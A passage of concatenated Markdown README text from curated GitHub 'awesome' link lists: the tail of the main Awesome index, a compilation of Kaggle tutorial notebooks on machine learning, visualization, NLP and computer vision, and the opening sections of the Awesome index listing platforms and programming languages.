Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/ttt30ga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/ansible-community/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. - [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web. - [QR Code](https://github.com/make-github-pseudonymous-again/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information. - [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible. - [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another. - [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript. - [WebXR](https://github.com/msub2/awesome-webxr#readme) - Enables immersive virtual reality and augmented reality content on the web. - [OpenStreetMap](https://github.com/osmlab/awesome-openstreetmap#readme) - An open data mapping project utilized by many apps and devices. - [Computational Biology](https://github.com/inoue0426/awesome-computational-biology#readme) - Computational approaches applied to problems in biology. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists. - [Awesome Viewer](https://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists. - [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.

# Kaggle Kernels Compilation [](https://github.com/sindresorhus/awesome) [](https://github.com/alfarias/awesome-kaggle-kernels/blob/master/LICENSE) [](https://github.com/alfarias/awesome-kaggle-kernels/commits/master) \ *Image Source: [Wikimedia](https://commons.wikimedia.org/wiki/File:Kaggle_logo.png )* Disclaimer: This compilation is still a work in progress. - [✔] Converting urls to text hyperlinks. - [✔] Clean Kernel Titles. - [✔] Write Introduction. - [X] Better Topic Division. ## Table of Contents 1. [Introduction](#Introduction) 2. [General Machine Learning](#General-Machine-Learning) 3. [Data Visualization](#Data-Visualization) 4. [Forecasting](#Data-Visualization) 5. [Natural Language Processing](#Natural-Language-Processing) 6. [Computer Vision](#Computer-Vision) 7. [Recommendation Systems](#Recommendation-Systems) 8. [Clustering](#Clustering) 9. [Reinforcement Learning](#Reinforcement-Learning) 10. [Competitions (Kernel Examples)](#Competitions-(Kernel-Examples)) ## Introduction In this compilation you will find curated Kaggle Kernels to aid on your Data Science Learning Journey. The list is weekly reviewed.\ I wiil search on Kaggle for interesting and didactic Kernel, if is good will be added here.\ If any author doesn't want his work on this compilation, open an issue and I will remove the requested Kernel.\ Most Kernels are written in Python, but if any of them is written in R, the tag `[R]` will appear in the title end. ## General Machine Learning - [**Data Science Tutorial for Beginners**](https://www.kaggle.com/kanncaa1/data-sciencetutorial-for-beginners) - [**Machine Learning Tutorial for Beginners**](https://www.kaggle.com/kanncaa1/machine-learning-tutorial-for-beginners) - [**Statistical Learning Tutorial for Beginners**](https://www.kaggle.com/kanncaa1/statistical-learning-tutorial-for-beginners) - [**A Data Science Framework: To Achieve 99% Accuracy**](https://www.kaggle.com/ldfreeman3/a-data-science-framework-to-achieve-99-accuracy) - [**A Comprehensive ML Workflow with Python**](https://www.kaggle.com/mjbahmani/a-comprehensive-ml-workflow-with-python) - [**Guided path of Learning ML-DS**](https://www.kaggle.com/ambarish/guided-path-of-learning-ml-ds) - [**Exploration of data step by step**](https://www.kaggle.com/artgor/exploration-of-data-step-by-step) - [**Python walkthrough for Titanic data analysis**](https://www.kaggle.com/headsortails/pytanic) - [**How to not overfit?**](https://www.kaggle.com/artgor/how-to-not-overfit) - [**OOP approach to FE and models**](https://www.kaggle.com/artgor/oop-approach-to-fe-and-models) - [**Predictive Power Score vs Correlation**](https://www.kaggle.com/frtgnn/predictive-power-score-vs-correlation) - [**Pseudo Labeling - QDA**](https://www.kaggle.com/cdeotte/pseudo-labeling-qda-0-969) - [**Bayesian Learning Basics | Tutorial**](https://www.kaggle.com/upadorprofzs/bayesian-learning-basics-tutorial) - [**Data Analysis using SQL:**](https://www.kaggle.com/dimarudov/data-analysis-using-sql) - [**SQLalchemy and ML with sklearn demo**](https://www.kaggle.com/aawiegel/sqlalchemy-and-ml-with-sklearn-demo) - [**Pyspark ML tutorial for beginners:**](https://www.kaggle.com/fatmakursun/pyspark-ml-tutorial-for-beginners) - [**Getting started with H2O (AutoML)**](https://www.kaggle.com/sudalairajkumar/getting-started-with-h2o) - [**XGBoost in H2O! (AutoML)**](https://www.kaggle.com/brandenkmurray/xgboost-in-h2o) - [**CatBoost: A Deeper Dive**](https://www.kaggle.com/abhinand05/catboost-a-deeper-dive) - [**GMEAN of low correlation**](https://www.kaggle.com/paulorzp/gmean-of-low-correlation-lb-0-952x) - [**Resampling strategies for imbalanced datasets**](https://www.kaggle.com/rafjaa/resampling-strategies-for-imbalanced-datasets) ## Deeep Learning - [**Deep Learning Tutorial for Beginners**](https://www.kaggle.com/kanncaa1/deep-learning-tutorial-for-beginners) - [**In-Depth Guide to Convolutional Neural Networks**](https://www.kaggle.com/abhinand05/in-depth-guide-to-convolutional-neural-networks) - [**Introduction to Pytorch (a very gentle start)**](https://www.kaggle.com/frtgnn/introduction-to-pytorch-a-very-gentle-start) ## Data Visualization - [**Creating a Good Analytics Report**](https://www.kaggle.com/jpmiller/creating-a-good-analytics-report) - [**Visual data analysis in Python**](https://www.kaggle.com/kashnitsky/topic-2-visual-data-analysis-in-python) - [**Patterns of Missing Data**](https://www.kaggle.com/jpmiller/patterns-of-missing-data) - [**Basic EDA with Images**](https://www.kaggle.com/jpmiller/basic-eda-with-images) - [**Matplotlib Plotting Guide**](https://www.kaggle.com/grroverpr/matplotlib-plotting-guide) - [**Plotting with Python: learn 80 plots STEP by STEP**](https://www.kaggle.com/python10pm/plotting-with-python-learn-80-plots-step-by-step) - [**Seaborn and Plotly**](https://www.kaggle.com/kashnitsky/topic-2-part-2-seaborn-and-plotly) - [**Seaborn Tutorial for Beginners**](https://www.kaggle.com/kanncaa1/seaborn-tutorial-for-beginners) - [**Altair visualization: 2018 StackOverflow survey**](https://www.kaggle.com/notslush/altair-visualization-2018-stackoverflow-survey) - [**Plotly Tutorial for Beginners**](https://www.kaggle.com/kanncaa1/plotly-tutorial-for-beginners) - [**Visualization: Bokeh Tutorial Part 1**](https://www.kaggle.com/kanncaa1/visualization-bokeh-tutorial-part-1) - [**Interactive Bokeh Tutorial Part 2**](https://www.kaggle.com/kanncaa1/interactive-bokeh-tutorial-part-2) - [**Tutorial: Interactive data visualizations [R]**](https://www.kaggle.com/tavoosi/tutorial-interactive-data-visualizations) - [**Beginners guide to Highchart Visual in R**](https://www.kaggle.com/nulldata/beginners-guide-to-highchart-visual-in-r) - [**Interactive Viz - UFC with Altair**](https://www.kaggle.com/subinium/interactive-viz-1-ufc-with-altair) - [**EDA using Pyviz**](https://www.kaggle.com/deepanshusemwal/eda-using-pyviz) - [**Interactive Exploratory Data Analysis**](https://www.kaggle.com/dcstang/interactive-exploratory-data-analysis-eda) - [**Advanced Pyspark for Exploratory Data Analysis**](https://www.kaggle.com/tientd95/advanced-pyspark-for-exploratory-data-analysis) ## Forecasting - [**Time Series Prediction Tutorial with EDA**](https://www.kaggle.com/kanncaa1/time-series-prediction-tutorial-with-eda) - [**Back to (predict) the future - Interactive M5 EDA [R]**](https://www.kaggle.com/headsortails/back-to-predict-the-future-interactive-m5-eda) - [**EDA + Prophet + MLP Neural Network Forecasting**](https://www.kaggle.com/arindamgot/eda-prophet-mlp-neural-network-forecasting) - [**Predicting stock movement**](https://www.kaggle.com/zikazika/predicting-stock-movement/) ## Natural Language Processing - [**Data Science with DL & NLP: Advanced Techniques**](https://www.kaggle.com/vbmokin/data-science-with-dl-nlp-advanced-techniques) - [**A mind map for of NLP**](https://www.kaggle.com/rftexas/ml-cheatsheet-a-mind-map-for-nlp) - [**NLP Cheatsheet - Master NLP**](https://www.kaggle.com/rftexas/nlp-cheatsheet-master-nlp) - [**Approaching (Almost) Any NLP Problem on Kaggle**](https://www.kaggle.com/abhishek/approaching-almost-any-nlp-problem-on-kaggle) - [**Regex Primer**](https://www.kaggle.com/adityaecdrid/regex-primer-annoying-artgor-xd) - [**How to Preprocessing when using embeddings**](https://www.kaggle.com/christofhenkel/how-to-preprocessing-when-using-embeddings) - [**How To Preprocessing for GloVe Part 1: EDA**](https://www.kaggle.com/christofhenkel/how-to-preprocessing-for-glove-part1-eda) - [**How To Preprocessing for GloVe Part 2: Usage**](https://www.kaggle.com/christofhenkel/how-to-preprocessing-for-glove-part2-usage) - [**Gensim Word2Vec Tutorial**](https://www.kaggle.com/pierremegret/gensim-word2vec-tutorial) - [**Hitchhiker's Guide to NLP in spaCy**](https://www.kaggle.com/nirant/hitchhiker-s-guide-to-nlp-in-spacy/) - [**Tutorial on topic modelling-LDA&NLP**](https://www.kaggle.com/zikazika/tutorial-on-topic-modelling-lda-nlp?scriptVersionId=9699432) - [**Treemap House of Horror: Spooky EDA/LDA/Features [R]**](https://www.kaggle.com/headsortails/treemap-house-of-horror-spooky-eda-lda-features) - [**Movie Review Sentiment Analysis EDA and models**](https://www.kaggle.com/artgor/movie-review-sentiment-analysis-eda-and-models) - [**Loading BERT using pytorch (with tokenizer & apex)**](https://www.kaggle.com/christofhenkel/loading-bert-using-pytorch-with-tokenizer-apex/notebook) - [**Text modelling in Pytorch v2**](https://www.kaggle.com/artgor/text-modelling-in-pytorch-v2) - [**CNN in keras on folds**](https://www.kaggle.com/artgor/cnn-in-keras-on-folds) - [**BERT for Humans: Tutorial+Baseline (Version 2)**](https://www.kaggle.com/abhinand05/bert-for-humans-tutorial-baseline-version-2) - [**Clickbait News - BERT PyTorch**](https://www.kaggle.com/kashnitsky/clickbait-news-bert-pytorch) - [**Bert-base TF2.0 (now Huggingface transformer)**](https://www.kaggle.com/akensert/bert-base-tf2-0-now-huggingface-transformer) - [**DistilBert + Catalyst, amazon product reviews**](https://www.kaggle.com/kashnitsky/distillbert-catalyst-amazon-product-reviews) - [**Vowpal Wabbit tutorial: blazingly fast learnin**](https://www.kaggle.com/kashnitsky/vowpal-wabbit-tutorial-blazingly-fast-learning) ## Computer Vision - [**Convolutional Neural Network (CNN) Tutorial**](https://www.kaggle.com/kanncaa1/convolutional-neural-network-cnn-tutorial) - [**Image classification with Convolutional Neural Networks (Fast.ai)**](https://www.kaggle.com/hortonhearsafoo/fast-ai-lesson-1) - [**A complete ML pipeline (Fast.ai)**](https://www.kaggle.com/qitvision/a-complete-ml-pipeline-fast-ai) - [**Introduction to CNN Keras**](https://www.kaggle.com/yassineghouzam/introduction-to-cnn-keras-0-997-top-6) - [**Indian way to learn CNN**](https://www.kaggle.com/shahules/indian-way-to-learn-cnn) - [**Beginners guide to MNIST with fast.ai**](https://www.kaggle.com/christianwallenwein/beginners-guide-to-mnist-with-fast-ai) - [**Practical Deep Learning Using PyTorch**](https://www.kaggle.com/ankitjha/practical-deep-learning-using-pytorch) - [**Classification in catalyst with utility scripts**](https://www.kaggle.com/artgor/classification-in-catalyst-with-utility-scripts) - [**Pytorch utils for images**](https://www.kaggle.com/artgor/pytorch-utils-for-images) - [**RSNA Intracranial Hemorrhage Basic EDA + Data Visualization**](https://www.kaggle.com/marcovasquez/basic-eda-data-visualization/notebook) - [**Severstal: Simple 2-step pipeline**](https://www.kaggle.com/xhlulu/severstal-simple-2-step-pipeline) - [**GAN Introduction**](https://www.kaggle.com/jesucristo/gan-introduction) - [**Kuzushiji Recognition Complete Guide**](https://www.kaggle.com/jesucristo/kuzushiji-recognition-complete-guide) - [**Train Simple XRay CNN**](https://www.kaggle.com/kmader/train-simple-xray-cnn) ## Recommendation Systems - [**Recommendation Systems Tutorial**](https://www.kaggle.com/kanncaa1/recommendation-systems-tutorial) - [**How To Recommend Anything/Deep Recommender**](https://www.kaggle.com/morrisb/how-to-recommend-anything-deep-recommender) - [**Tutorial: Collaborative filtering with PySpark**](https://www.kaggle.com/vchulski/tutorial-collaborative-filtering-with-pyspark) ## Clustering - [**Unsupervised Learning: Clustering (Tutorial)**](https://www.kaggle.com/maximgolovatchev/unsupervised-learning-clustering-tutorial/data) - [**In-depth EDA and K-Means Clustering**](https://www.kaggle.com/thebrownviking20/in-depth-eda-and-k-means-clustering) - [**Unsupervised learning: PCA and clustering**](https://www.kaggle.com/kashnitsky/topic-7-unsupervised-learning-pca-and-clustering) ## Reinforcement Learning - [**Reinforcement Learning for Meal Planning in Python**](https://www.kaggle.com/osbornep/reinforcement-learning-for-meal-planning-in-python) - [**Learn by example Reinforcement Learning with Gym**](https://www.kaggle.com/charel/learn-by-example-reinforcement-learning-with-gym) - [**Crash Course in Reinforcement Learning**](https://www.kaggle.com/blairyoung/crash-course-in-reinforcement-learning) - [**Deep Reinforcement Learning on Stock Data**](https://www.kaggle.com/itoeiji/deep-reinforcement-learning-on-stock-data) - [**RL from Scratch Part 1: Defining the Environment**](https://www.kaggle.com/osbornep/rl-from-scratch-part-1-defining-the-environment) - [**RL from Scratch Part 2: Understanding RL Parameters**](https://www.kaggle.com/osbornep/rl-from-scratch-part-2-understanding-rl-paramters) ## Competitions (Kernel Examples) - [**NFL Injury Analysis**](https://www.kaggle.com/aleksandradeis/nfl-injury-analysis) - [**NFL Punt Analytics**](https://www.kaggle.com/jpmiller/nfl-punt-analytics) - [**IEEE-CIS Fraud Detection**](https://www.kaggle.com/artgor/eda-and-models) - [**Elo Merchant Category Recommendation**](https://www.kaggle.com/artgor/elo-eda-and-models) - [**Santander Customer Transaction Prediction**](https://www.kaggle.com/artgor/santander-eda-fe-fs-and-models) - [**Porto Seguro’s Safe Driver Prediction [R]**](https://www.kaggle.com/headsortails/steering-wheel-of-fortune-porto-seguro-eda) - [**Starter: ASHRAE Great Energy Predictor**](https://www.kaggle.com/jesucristo/starter-great-energy-predictor) - [**Vowpal Wabbit starter Microsoft Malware Prediction**](https://www.kaggle.com/kashnitsky/training-while-reading-vowpal-wabbit-starter) - [**PUBG Data Exploration + Random Forest**](https://www.kaggle.com/carlolepelaars/pubg-data-exploration-rf-funny-gifs)

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <br> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://github.com/botpress/botpress"> <img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress"> </a> </p> <br> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Miscellaneous](#miscellaneous) - [Related](#related) --- <div align="center"> <p> <a href="https://triplebyte.com/a/aZxgKGg/d"> <b>Looking for a job?</b> <br> No resume needed. Just prove you can code. <br> <div> <img src="https://user-images.githubusercontent.com/170270/66039619-9363c380-e53f-11e9-9b56-ae6e8ab336ba.png" width="260" alt="Tripblebyte"> </div> </a> _{<i>Clicking this helps fund the Awesome project</i>} </p> </div> --- ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - 